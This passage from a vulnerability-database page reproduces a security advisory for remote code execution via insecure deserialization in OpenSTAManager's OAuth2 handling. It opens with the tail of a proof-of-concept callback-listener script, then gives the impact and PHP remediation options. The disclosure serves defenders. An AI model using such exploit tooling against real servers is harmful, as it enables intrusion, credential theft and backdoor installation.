Listener{RESET}\")\n    print(f\"  {BLUE}{\u0027=\u0027 * 58}{RESET}\")\n    print(f\"  {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}\")\n    print(f\"  {YELLOW}[!]{RESET} Waiting for callback...\\n\")\n\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(f\"\\n  {YELLOW}[!]{RESET} Stopped.\")\n        sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Impact\n\n- **Confidentiality**: Read server files, database credentials, API keys\n- **Integrity**: Write files, install backdoors, modify application code\n- **Availability**: Delete files, denial of service\n- **Scope**: Command execution as `www-data` allows pivoting to other systems on the network\n\n## Proposed remediation\n\n### Option A: Restrict `unserialize()` (recommended)\n\n```php\n// src/Models/OAuth2.php \u2014 checkTokens() and getAccessToken()\n$access_token = $this-\u003eaccess_token\n    ? unserialize($this-\u003eaccess_token, [\u0027allowed_classes\u0027 =\u003e [AccessToken::class]])\n    : null;\n```\n\n### Option B: Use safe serialization\n\nReplace `serialize()`/`unserialize()` with `json_encode()`/`json_decode()` for storing OAuth2 tokens.\n\n### Option C: Authenticate `oauth2.php`\n\nRemove `$skip_permissions = true` and require authentication for the OAuth2 callback endpoint, or validate the `state` parameter against a value stored in the user\u0027s session.\n\n## Credits\nOmar Ramirez",
  "id": "GHSA-whv5-4q2f-q68g",
  "modified": "2026-04-06T17:17:57Z",
  "published": "2026-04-01T19:46:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-whv5-4q2f-q68g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/commit/d2e38cbdf91a831cefc0da1548e02b297ae644cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    },
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…